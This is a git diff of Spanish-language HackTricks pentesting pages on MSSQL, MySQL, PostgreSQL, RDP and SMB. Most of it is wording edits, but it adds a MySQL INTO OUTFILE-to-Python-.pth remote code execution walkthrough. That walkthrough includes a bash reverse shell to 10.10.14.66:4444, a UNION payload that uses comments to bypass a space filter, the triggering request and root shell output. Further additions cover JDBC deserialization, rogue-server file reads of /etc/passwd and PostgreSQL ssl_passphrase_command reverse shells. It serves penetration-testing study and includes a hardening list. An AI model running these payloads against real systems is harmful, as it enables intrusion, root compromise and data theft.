sobre este ataque: [Dese El usuario que ejecuta el servidor MSSQL tendrá habilitado el token de privilegio **SeImpersonatePrivilege.**\ Probablemente podrás **escalar a Administrador** siguiendo una de estas 2 páginas: + {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md {{#endref}} + {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/juicypotato.md {{#endref}} diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 2b864265f..263637fdb 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -36,7 +36,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds ``` ### [**Fuerza bruta**](../generic-hacking/brute-force.md#mysql) -### Escriba cualquier dato binario +### Escribir cualquier dato binario ```bash CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) CONVERT(from_base64("aG9sYWFhCg=="), BINARY) @@ -105,11 +105,49 @@ Puedes ver en la documentación el significado de cada privilegio: [https://dev. ### MySQL File RCE + {{#ref}} ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md {{#endref}} -## Lectura arbitraria de archivos en MySQL por el cliente +#### INTO OUTFILE → Python `.pth` RCE (ganchos de configuración específicos del sitio) + +Abusando de la primitiva clásica `INTO OUTFILE`, es posible obtener *ejecución de código arbitrario* en objetivos que luego ejecutan scripts de **Python**. + +1. Usa `INTO OUTFILE` para dejar caer un archivo **`.pth`** personalizado dentro de cualquier directorio cargado automáticamente por `site.py` (por ejemplo, `.../lib/python3.10/site-packages/`). +2. El archivo `.pth` puede contener una *línea única* que comience con `import ` seguida de código Python arbitrario que se ejecutará cada vez que se inicie el intérprete. +3. Cuando el intérprete es ejecutado implícitamente por un script CGI (por ejemplo, `/cgi-bin/ml-draw.py` con shebang `#!/bin/python`), la carga útil se ejecuta con los mismos privilegios que el proceso del servidor web (FortiWeb lo ejecutó como **root** → RCE completo previo a la autenticación). + +Ejemplo de carga útil `.pth` (línea única, no se pueden incluir espacios en la carga útil SQL final, por lo que puede ser necesario hex/`UNHEX()` o concatenación de cadenas): +```python +import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) +``` +Ejemplo de creación del archivo a través de una **UNION** query (los caracteres de espacio se reemplazan con `/**/` para eludir un filtro de espacio `sscanf("%128s")` y mantener la longitud total ≤128 bytes): +```sql +'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' +``` +Limitaciones importantes y bypasses: + +* `INTO OUTFILE` **no puede sobrescribir** archivos existentes; elige un nuevo nombre de archivo. +* La ruta del archivo se resuelve **relativa al CWD de MySQL**, por lo que prefijar con `../../` ayuda a acortar la ruta y eludir las restricciones de ruta absoluta. +* Si la entrada del atacante se extrae con `%128s` (o similar), cualquier espacio truncará la carga útil; usa secuencias de comentarios de MySQL `/**/` o `/*!*/` para reemplazar espacios. +* El usuario de MySQL que ejecuta la consulta necesita el privilegio `FILE`, pero en muchos dispositivos (por ejemplo, FortiWeb) el servicio se ejecuta como **root**, lo que otorga acceso de escritura casi en todas partes. + +Después de eliminar el `.pth`, simplemente solicita cualquier CGI manejado por el intérprete de python para obtener ejecución de código: +``` +GET /cgi-bin/ml-draw.py HTTP/1.1 +Host: +``` +El proceso de Python importará el `.pth` malicioso automáticamente y ejecutará la carga útil de shell. +``` +# Attacker +$ nc -lvnp 4444 +id +uid=0(root) gid=0(root) groups=0(root) +``` +--- + +## Lectura arbitraria de archivos por el cliente en MySQL En realidad, cuando intentas **cargar datos locales en una tabla** el **contenido de un archivo**, el servidor MySQL o MariaDB le pide al **cliente que lo lea** y envíe el contenido. **Entonces, si puedes manipular un cliente mysql para conectarte a tu propio servidor MySQL, puedes leer archivos arbitrarios.**\ Por favor, ten en cuenta que este es el comportamiento al usar: @@ -117,7 +155,7 @@ Por favor, ten en cuenta que este es el comportamiento al usar: load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` (Nota la palabra "local")\ -Porque sin la "local" puedes obtener: +Porque sin el "local" puedes obtener: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; @@ -144,10 +182,10 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '= En la configuración de los servicios de MySQL, se emplean varias configuraciones para definir su operación y medidas de seguridad: -- La configuración **`user`** se utiliza para designar el usuario bajo el cual se ejecutará el servicio MySQL. +- La configuración **`user`** se utiliza para designar el usuario bajo el cual se ejecutará el servicio de MySQL. - **`password`** se aplica para establecer la contraseña asociada con el usuario de MySQL. - **`admin_address`** especifica la dirección IP que escucha las conexiones TCP/IP en la interfaz de red administrativa. -- La variable **`debug`** es indicativa de las configuraciones de depuración presentes, incluyendo información sensible dentro de los registros. +- La variable **`debug`** es indicativa de las configuraciones de depuración actuales, incluyendo información sensible dentro de los registros. - **`sql_warnings`** gestiona si se generan cadenas de información para declaraciones INSERT de una sola fila cuando surgen advertencias, conteniendo datos sensibles dentro de los registros. - Con **`secure_file_priv`**, el alcance de las operaciones de importación y exportación de datos se restringe para mejorar la seguridad. @@ -609,6 +647,58 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` -​ +## 2023-2025 Destacados (nuevo) + +### Deserialización de `propertiesTransform` de JDBC (CVE-2023-21971) +Desde Connector/J <= 8.0.32, un atacante que puede influir en la **JDBC URL** (por ejemplo, en software de terceros que solicita una cadena de conexión) puede solicitar que se carguen clases arbitrarias en el lado del *cliente* a través del parámetro `propertiesTransform`. Si un gadget presente en el class-path es cargable, esto resulta en **ejecución remota de código en el contexto del cliente JDBC** (pre-autenticación, porque no se requieren credenciales válidas). Un PoC mínimo se ve así: +```java +jdbc:mysql://:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil +``` +Ejecutar `Evil.class` puede ser tan fácil como producirlo en el class-path de la aplicación vulnerable o permitir que un servidor MySQL malicioso envíe un objeto serializado malicioso. El problema fue solucionado en Connector/J 8.0.33 – actualiza el controlador o establece explícitamente `propertiesTransform` en una lista de permitidos. +(Vea el informe de Snyk para más detalles) + +### Ataques de servidores MySQL falsos / maliciosos contra clientes JDBC +Varios herramientas de código abierto implementan un protocolo MySQL *parcial* para atacar a los clientes JDBC que se conectan externamente: + +* **mysql-fake-server** (Java, soporta exploits de lectura de archivos y deserialización) +* **rogue_mysql_server** (Python, capacidades similares) + +Rutas de ataque típicas: + +1. La aplicación víctima carga `mysql-connector-j` con `allowLoadLocalInfile=true` o `autoDeserialize=true`. +2. El atacante controla DNS / entrada de host para que el nombre del host de la base de datos se resuelva a una máquina bajo su control. +3. El servidor malicioso responde con paquetes manipulados que desencadenan ya sea `LOCAL INFILE` lectura arbitraria de archivos o deserialización de Java → RCE. + +Ejemplo de línea de comando para iniciar un servidor falso (Java): +```bash +java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server +``` +Luego, apunte la aplicación víctima a `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` y lea `/etc/passwd` codificando el nombre del archivo como base64 en el campo *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). + +### Cracking `caching_sha2_password` hashes +MySQL ≥ 8.0 almacena los hashes de contraseñas como **`$mysql-sha2$`** (SHA-256). Tanto Hashcat (modo **21100**) como John-the-Ripper (`--format=mysql-sha2`) admiten el cracking offline desde 2023. Vuelque la columna `authentication_string` y aliméntela directamente: +```bash +# extract hashes +echo "$mysql-sha2$AABBCC…" > hashes.txt +# Hashcat +hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist +# John the Ripper +john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist +``` +### Lista de verificación de endurecimiento (2025) +• Establecer **`LOCAL_INFILE=0`** y **`--secure-file-priv=/var/empty`** para eliminar la mayoría de las primitivas de lectura/escritura de archivos. +• Eliminar el privilegio **`FILE`** de las cuentas de aplicación. +• En Connector/J establecer `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vacío). +• Deshabilitar los plugins de autenticación no utilizados y **requerir TLS** (`require_secure_transport = ON`). +• Monitorear `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` y declaraciones `SET GLOBAL` repentinas. + +--- + +## Referencias +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) +- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540) +- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server) + +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-postgresql.md b/src/network-services-pentesting/pentesting-postgresql.md index 29e6d43de..661fef8bd 100644 --- a/src/network-services-pentesting/pentesting-postgresql.md +++ b/src/network-services-pentesting/pentesting-postgresql.md @@ -1,6 +1,5 @@ # 5432,5433 - Pentesting Postgresql - {{#include ../banners/hacktricks-training.md}} ## **Información Básica** @@ -57,6 +56,7 @@ SELECT * FROM pg_extension; Para más información sobre **cómo abusar de una base de datos PostgreSQL**, consulta: + {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/ {{#endref}} @@ -70,7 +70,7 @@ msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection ### **Escaneo de puertos** -Según [**esta investigación**](https://www.exploit-db.com/papers/13084), cuando un intento de conexión falla, `dblink` lanza una excepción `sqlclient_unable_to_establish_sqlconnection` que incluye una explicación del error. Ejemplos de estos detalles se enumeran a continuación. +Según [**esta investigación**](https://www.exploit-db.com/papers/13084), cuando un intento de conexión falla, `dblink` lanza una excepción `sqlclient_unable_to_establish_sqlconnection` que incluye una explicación del error. A continuación se enumeran ejemplos de estos detalles. ```sql SELECT * FROM dblink_connect('host=1.2.3.4 port=5678 @@ -81,7 +81,7 @@ connect_timeout=10'); ``` - El host está inactivo -`DETAIL: no se pudo conectar al servidor: No hay ruta al host ¿Está el servidor en ejecución en el host "1.2.3.4" y aceptando conexiones TCP/IP en el puerto 5678?` +`DETAIL: no se pudo conectar al servidor: No hay ruta al host. ¿Está el servidor en ejecución en el host "1.2.3.4" y aceptando conexiones TCP/IP en el puerto 5678?` - El puerto está cerrado ``` @@ -102,7 +102,7 @@ DETAIL: FATAL: password authentication failed for user "name" DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` -En las funciones PL/pgSQL, actualmente no es posible obtener detalles de excepciones. Sin embargo, si tienes acceso directo al servidor PostgreSQL, puedes recuperar la información necesaria. Si extraer nombres de usuario y contraseñas de las tablas del sistema no es factible, puedes considerar utilizar el método de ataque de lista de palabras discutido en la sección anterior, ya que podría potencialmente dar resultados positivos. +En las funciones PL/pgSQL, actualmente no es posible obtener detalles de excepciones. Sin embargo, si tienes acceso directo al servidor PostgreSQL, puedes recuperar la información necesaria. Si extraer nombres de usuario y contraseñas de las tablas del sistema no es factible, puedes considerar utilizar el método de ataque de lista de palabras discutido en la sección anterior, ya que podría dar resultados positivos. ## Enumeración de Privilegios @@ -129,7 +129,7 @@ En las funciones PL/pgSQL, actualmente no es posible obtener detalles de excepci - Si eres miembro de **`pg_read_server_files`** puedes **leer** archivos - Si eres miembro de **`pg_write_server_files`** puedes **escribir** archivos -> [!NOTE] +> [!TIP] > Ten en cuenta que en Postgres un **usuario**, un **grupo** y un **rol** son lo **mismo**. Solo depende de **cómo lo uses** y si **permites que inicie sesión**. ```sql # Get users roles @@ -220,13 +220,13 @@ COPY demo from '/etc/passwd'; SELECT * FROM demo; ``` > [!WARNING] -> Recuerda que si no eres superusuario pero tienes los permisos **CREATEROLE** puedes **hacerte miembro de ese grupo:** +> Recuerda que si no eres superusuario pero tienes los permisos de **CREATEROLE** puedes **hacerte miembro de ese grupo:** > > ```sql > GRANT pg_read_server_files TO username; > ``` > -> [**Más información.**](pentesting-postgresql.md#privilege-escalation-with-createrole) +> [**Más info.**](pentesting-postgresql.md#privilege-escalation-with-createrole) Hay **otras funciones de postgres** que se pueden usar para **leer archivos o listar un directorio**. Solo **superusuarios** y **usuarios con permisos explícitos** pueden usarlas: ```sql @@ -261,7 +261,7 @@ Solo **super usuarios** y miembros de **`pg_write_server_files`** pueden usar co copy (select convert_from(decode('','base64'),'utf-8')) to '/just/a/path.exec'; ``` > [!WARNING] -> Recuerda que si no eres superusuario pero tienes los permisos **`CREATEROLE`**, puedes **hacerte miembro de ese grupo:** +> Recuerda que si no eres superusuario pero tienes los permisos **`CREATEROLE`** puedes **hacerte miembro de ese grupo:** > > ```sql > GRANT pg_write_server_files TO username; @@ -276,6 +276,7 @@ Una limitación muy importante de esta técnica es que **`copy` no se puede usar Sin embargo, hay **otras técnicas para cargar grandes archivos binarios:** + {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md {{#endref}} @@ -294,7 +295,7 @@ Pasos requeridos: SELECT setting FROM pg_settings WHERE name = 'data_directory'; ``` -**Nota:** Si no puedes recuperar la ruta del directorio de datos actual de la configuración, puedes consultar la versión principal de PostgreSQL a través de la consulta `SELECT version()` e intentar forzar la ruta. Las rutas comunes del directorio de datos en instalaciones de PostgreSQL en Unix son `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Un nombre de clúster común es `main`. +**Nota:** Si no puedes recuperar la ruta del directorio de datos actual desde la configuración, puedes consultar la versión principal de PostgreSQL a través de la consulta `SELECT version()` e intentar forzar la ruta. Las rutas comunes del directorio de datos en instalaciones de PostgreSQL en Unix son `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Un nombre de clúster común es `main`. 2. Obtén una ruta relativa al filenode, asociado con la tabla objetivo @@ -387,11 +388,12 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I > > [**Más información.**](pentesting-postgresql.md#privilege-escalation-with-createrole) -O utiliza el módulo `multi/postgres/postgres_copy_from_program_cmd_exec` de **metasploit**.\ -Más información sobre esta vulnerabilidad [**aquí**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Aunque se reportó como CVE-2019-9193, Postges declaró que esto era una [característica y no será corregido](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). +O usa el módulo `multi/postgres/postgres_copy_from_program_cmd_exec` de **metasploit**.\ +Más información sobre esta vulnerabilidad [**aquí**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Aunque se reportó como CVE-2019-9193, Postgres declaró que esto era una [característica y no será corregido](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). ### RCE con lenguajes de PostgreSQL + {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md {{#endref}} @@ -400,13 +402,14 @@ Más información sobre esta vulnerabilidad [**aquí**](https://medium.com/green Una vez que has **aprendido** del post anterior **cómo subir archivos binarios**, podrías intentar obtener **RCE subiendo una extensión de postgresql y cargándola**. + {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md {{#endref}} ### RCE con el archivo de configuración de PostgreSQL -> [!NOTE] +> [!TIP] > Los siguientes vectores de RCE son especialmente útiles en contextos de SQLi restringidos, ya que todos los pasos se pueden realizar a través de declaraciones SELECT anidadas. El **archivo de configuración** de PostgreSQL es **escribible** por el **usuario postgres**, que es quien ejecuta la base de datos, así que como **superusuario**, puedes escribir archivos en el sistema de archivos, y por lo tanto puedes **sobrescribir este archivo.** @@ -425,11 +428,11 @@ El archivo de configuración tiene algunos atributos interesantes que pueden lle Entonces, un atacante necesitará: -1. **Volcar la clave privada** del servidor +1. **Dumpear la clave privada** del servidor 2. **Encriptar** la clave privada descargada: 1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key` 3. **Sobrescribir** -4. **Volcar** la **configuración** actual de postgresql +4. **Dumpear** la **configuración** actual de postgresql 5. **Sobrescribir** la **configuración** con los atributos mencionados: 1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'` 2. `ssl_passphrase_command_supports_reload = on` @@ -529,7 +532,7 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so Según la [**documentación**](https://www.postgresql.org/docs/13/sql-grant.html): _Los roles que tienen el privilegio **`CREATEROLE`** pueden **otorgar o revocar la membresía en cualquier rol** que **no** sea un **superusuario**._ -Así que, si tienes el permiso **`CREATEROLE`**, podrías otorgarte acceso a otros **roles** (que no son superusuario) que pueden darte la opción de leer y escribir archivos y ejecutar comandos: +Así que, si tienes el permiso **`CREATEROLE`** podrías otorgarte acceso a otros **roles** (que no son superusuario) que pueden darte la opción de leer y escribir archivos y ejecutar comandos: ```sql # Access to execute commands GRANT pg_execute_server_program TO username; @@ -545,13 +548,13 @@ Los usuarios con este rol también pueden **cambiar** las **contraseñas** de ot #Change password ALTER USER user_name WITH PASSWORD 'new_password'; ``` -#### Privesc a SUPERUSER +#### Privesc to SUPERUSER -Es bastante común encontrar que **los usuarios locales pueden iniciar sesión en PostgreSQL sin proporcionar ninguna contraseña**. Por lo tanto, una vez que hayas obtenido **permisos para ejecutar código**, puedes abusar de estos permisos para otorgarte el rol de **`SUPERUSER`**: +Es bastante común encontrar que **los usuarios locales pueden iniciar sesión en PostgreSQL sin proporcionar ninguna contraseña**. Por lo tanto, una vez que hayas reunido **permisos para ejecutar código**, puedes abusar de estos permisos para otorgarte el rol de **`SUPERUSER`**: ```sql COPY (select '') to PROGRAM 'psql -U -c "ALTER USER WITH SUPERUSER;"'; ``` -> [!NOTE] +> [!TIP] > Esto suele ser posible debido a las siguientes líneas en el archivo **`pg_hba.conf`**: > > ```bash @@ -571,7 +574,7 @@ Cuando intentas **hacer que otro usuario sea propietario de una tabla**, deberí
-Uniendo esta idea con el hecho de que cuando se ejecutan los comandos **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) en una **tabla con una función de índice**, la **función** es **llamada** como parte del comando con los **permisos** del **propietario de la tabla**. Es posible crear un índice con una función y dar permisos de propietario a un **superusuario** sobre esa tabla, y luego ejecutar ANALYZE sobre la tabla con la función maliciosa que podrá ejecutar comandos porque está utilizando los privilegios del propietario. +Uniendo esta idea con el hecho de que cuando se ejecutan los comandos **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) en una **tabla con una función de índice**, la **función** se **llama** como parte del comando con los **permisos** del **propietario de la tabla**. Es posible crear un índice con una función y otorgar permisos de propietario a un **superusuario** sobre esa tabla, y luego ejecutar ANALYZE sobre la tabla con la función maliciosa que podrá ejecutar comandos porque está utilizando los privilegios del propietario. ```c GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(onerel->rd_rel->relowner, @@ -612,7 +615,7 @@ uid=2345(postgres) gid=2345(postgres) groups=2345(postgres) ``` ### Inicio de sesión local -Algunas instancias de postgresql mal configuradas pueden permitir el inicio de sesión de cualquier usuario local, es posible iniciar sesión desde 127.0.0.1 utilizando la **`dblink` function**: +Algunas instancias de postgresql mal configuradas pueden permitir el inicio de sesión de cualquier usuario local, es posible iniciar sesión localmente desde 127.0.0.1 utilizando la **`dblink` function**: ```sql \du * # Get Users \l # Get databases @@ -681,7 +684,7 @@ Y luego **ejecutar comandos**: ### Fuerza Bruta con PL/pgSQL **PL/pgSQL** es un **lenguaje de programación completamente funcional** que ofrece un mayor control procedural en comparación con SQL. Permite el uso de **bucles** y otras **estructuras de control** para mejorar la lógica del programa. Además, las **sentencias SQL** y los **triggers** tienen la capacidad de invocar funciones que se crean utilizando el **lenguaje PL/pgSQL**. Esta integración permite un enfoque más completo y versátil para la programación y automatización de bases de datos.\ -**Puedes abusar de este lenguaje para pedirle a PostgreSQL que realice fuerza bruta en las credenciales de los usuarios.** +**Puedes abusar de este lenguaje para pedirle a PostgreSQL que realice fuerza bruta sobre las credenciales de los usuarios.** {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md @@ -689,10 +692,10 @@ Y luego **ejecutar comandos**: ### Privesc al Sobrescribir Tablas Internas de PostgreSQL -> [!NOTE] +> [!TIP] > El siguiente vector de privesc es especialmente útil en contextos de SQLi restringidos, ya que todos los pasos se pueden realizar a través de sentencias SELECT anidadas. -Si puedes **leer y escribir archivos del servidor PostgreSQL**, puedes **convertirte en superusuario** al sobrescribir el filenode en disco de PostgreSQL, asociado con la tabla interna `pg_authid`. +Si puedes **leer y escribir archivos del servidor PostgreSQL**, puedes **convertirte en superusuario** sobrescribiendo el filenode en disco de PostgreSQL, asociado con la tabla interna `pg_authid`. Lee más sobre **esta técnica** [**aquí**](https://adeadfed.com/posts/updating-postgresql-data-without-update/)**.** @@ -726,13 +729,13 @@ sudo service postgresql restart #Find the logs in /var/lib/postgresql//main/log/ #or in /var/lib/postgresql//main/pg_log/ ``` -Luego, **reinicia el servicio**. +Luego, **reinicie el servicio**. ### pgadmin [pgadmin](https://www.pgadmin.org) es una plataforma de administración y desarrollo para PostgreSQL.\ -Puedes encontrar **contraseñas** dentro del archivo _**pgadmin4.db**_\ -Puedes desencriptarlas usando la función _**decrypt**_ dentro del script: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py) +Puede encontrar **contraseñas** dentro del archivo _**pgadmin4.db**_\ +Puede desencriptarlas utilizando la función _**decrypt**_ dentro del script: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py) ```bash sqlite3 pgadmin4.db ".schema" sqlite3 pgadmin4.db "select * from user;" @@ -741,7 +744,7 @@ string pgadmin4.db ``` ### pg_hba -La autenticación del cliente en PostgreSQL se gestiona a través de un archivo de configuración llamado **pg_hba.conf**. Este archivo contiene una serie de registros, cada uno especificando un tipo de conexión, rango de direcciones IP del cliente (si corresponde), nombre de la base de datos, nombre de usuario y el método de autenticación a utilizar para las conexiones coincidentes. El primer registro que coincide con el tipo de conexión, dirección del cliente, base de datos solicitada y nombre de usuario se utiliza para la autenticación. No hay un respaldo o alternativa si la autenticación falla. Si no coincide ningún registro, se deniega el acceso. +La autenticación del cliente en PostgreSQL se gestiona a través de un archivo de configuración llamado **pg_hba.conf**. Este archivo contiene una serie de registros, cada uno especificando un tipo de conexión, rango de direcciones IP del cliente (si corresponde), nombre de la base de datos, nombre de usuario y el método de autenticación a utilizar para las conexiones coincidentes. El primer registro que coincida con el tipo de conexión, dirección del cliente, base de datos solicitada y nombre de usuario se utiliza para la autenticación. No hay un respaldo o alternativa si la autenticación falla. Si ningún registro coincide, se deniega el acceso. Los métodos de autenticación basados en contraseña disponibles en pg_hba.conf son **md5**, **crypt** y **password**. Estos métodos difieren en cómo se transmite la contraseña: con hash MD5, cifrado crypt o en texto claro. Es importante tener en cuenta que el método crypt no se puede utilizar con contraseñas que han sido cifradas en pg_authid. diff --git a/src/network-services-pentesting/pentesting-rdp.md b/src/network-services-pentesting/pentesting-rdp.md index 8ac5d366b..562f1b00f 100644 --- a/src/network-services-pentesting/pentesting-rdp.md +++ b/src/network-services-pentesting/pentesting-rdp.md @@ -60,7 +60,7 @@ query user ```bash tscon /dest: ``` -Ahora estarás dentro de la sesión RDP seleccionada y habrás suplantado a un usuario utilizando solo herramientas y características de Windows. +Ahora estarás dentro de la sesión RDP seleccionada y tendrás que suplantar a un usuario utilizando solo herramientas y características de Windows. **Importante**: Cuando accedes a sesiones RDP activas, desconectarás al usuario que la estaba utilizando. @@ -75,14 +75,15 @@ ts::remote /id:2 #Connect to the session ``` ### Sticky-keys & Utilman -Combinando esta técnica con **stickykeys** o **utilman podrás acceder a un CMD administrativo y a cualquier sesión RDP en cualquier momento**. +Combinando esta técnica con **stickykeys** o **utilman podrás acceder a un CMD administrativo y a cualquier sesión RDP en cualquier momento** -Puedes buscar RDPs que han sido backdooreados con una de estas técnicas ya con: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) +Puedes buscar RDPs que ya han sido backdooreados con una de estas técnicas con: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) ### RDP Process Injection Si alguien de un dominio diferente o con **mejores privilegios inicia sesión vía RDP** en la PC donde **tú eres un Admin**, puedes **inyectar** tu beacon en su **proceso de sesión RDP** y actuar como él: + {{#ref}} ../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md {{#endref}} @@ -102,7 +103,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add - Controlar el portapapeles de manera automatizada desde la línea de comandos - Generar un proxy SOCKS desde el cliente que canaliza la comunicación de red hacia el objetivo a través de RDP - Ejecutar comandos SHELL y PowerShell arbitrarios en el objetivo sin subir archivos -- Subir y descargar archivos hacia/desde el objetivo incluso cuando las transferencias de archivos están deshabilitadas en el objetivo +- Subir y descargar archivos al/del objetivo incluso cuando las transferencias de archivos están deshabilitadas en el objetivo - [**SharpRDP**](https://github.com/0xthirteen/SharpRDP) diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index 1f2d227e0..2155292ad 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -4,7 +4,7 @@ ## **Puerto 139** -El _**Sistema Básico de Entrada y Salida de Red**_** (NetBIOS)** es un protocolo de software diseñado para permitir que aplicaciones, PCs y escritorios dentro de una red de área local (LAN) interactúen con hardware de red y **faciliten la transmisión de datos a través de la red**. La identificación y localización de aplicaciones de software que operan en una red NetBIOS se logran a través de sus nombres NetBIOS, que pueden tener hasta 16 caracteres de longitud y a menudo son distintos del nombre de la computadora. Una sesión NetBIOS entre dos aplicaciones se inicia cuando una aplicación (actuando como cliente) emite un comando para "llamar" a otra aplicación (actuando como servidor) utilizando **TCP Puerto 139**. +El _**Sistema Básico de Entrada y Salida de Red**_** (NetBIOS)** es un protocolo de software diseñado para permitir que aplicaciones, PCs y escritorios dentro de una red de área local (LAN) interactúen con hardware de red y **faciliten la transmisión de datos a través de la red**. La identificación y localización de aplicaciones de software que operan en una red NetBIOS se logran a través de sus nombres NetBIOS, que pueden tener hasta 16 caracteres de longitud y a menudo son distintos del nombre del ordenador. Una sesión NetBIOS entre dos aplicaciones se inicia cuando una aplicación (actuando como cliente) emite un comando para "llamar" a otra aplicación (actuando como servidor) utilizando **TCP Puerto 139**. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` @@ -20,7 +20,7 @@ Por ejemplo, en el contexto de Windows, se destaca que SMB puede operar directam El **Server Message Block (SMB)** protocolo, que opera en un modelo **cliente-servidor**, está diseñado para regular el **acceso a archivos**, directorios y otros recursos de red como impresoras y enrutadores. Utilizado principalmente dentro de la serie de sistemas operativos **Windows**, SMB asegura la compatibilidad hacia atrás, permitiendo que dispositivos con versiones más nuevas del sistema operativo de Microsoft interactúen sin problemas con aquellos que ejecutan versiones más antiguas. Además, el proyecto **Samba** ofrece una solución de software libre, permitiendo la implementación de SMB en sistemas **Linux** y Unix, facilitando así la comunicación entre plataformas a través de SMB. -Los recursos compartidos, que representan **partes arbitrarias del sistema de archivos local**, pueden ser proporcionados por un servidor SMB, haciendo que la jerarquía sea visible para un cliente en parte **independiente** de la estructura real del servidor. Las **Access Control Lists (ACLs)**, que definen los **derechos de acceso**, permiten un **control detallado** sobre los permisos de los usuarios, incluyendo atributos como **`execute`**, **`read`** y **`full access`**. Estos permisos pueden ser asignados a usuarios individuales o grupos, basados en los recursos compartidos, y son distintos de los permisos locales establecidos en el servidor. +Los recursos compartidos, que representan **partes arbitrarias del sistema de archivos local**, pueden ser proporcionados por un servidor SMB, haciendo que la jerarquía sea visible para un cliente de manera **independiente** de la estructura real del servidor. Las **Access Control Lists (ACLs)**, que definen los **derechos de acceso**, permiten un **control detallado** sobre los permisos de los usuarios, incluyendo atributos como **`execute`**, **`read`** y **`full access`**. Estos permisos pueden ser asignados a usuarios individuales o grupos, basados en los recursos compartidos, y son distintos de los permisos locales establecidos en el servidor. ### IPC$ Share @@ -38,7 +38,7 @@ enum4linux -a target_ip ``` El comando anterior es un ejemplo de cómo `enum4linux` podría usarse para realizar una enumeración completa contra un objetivo 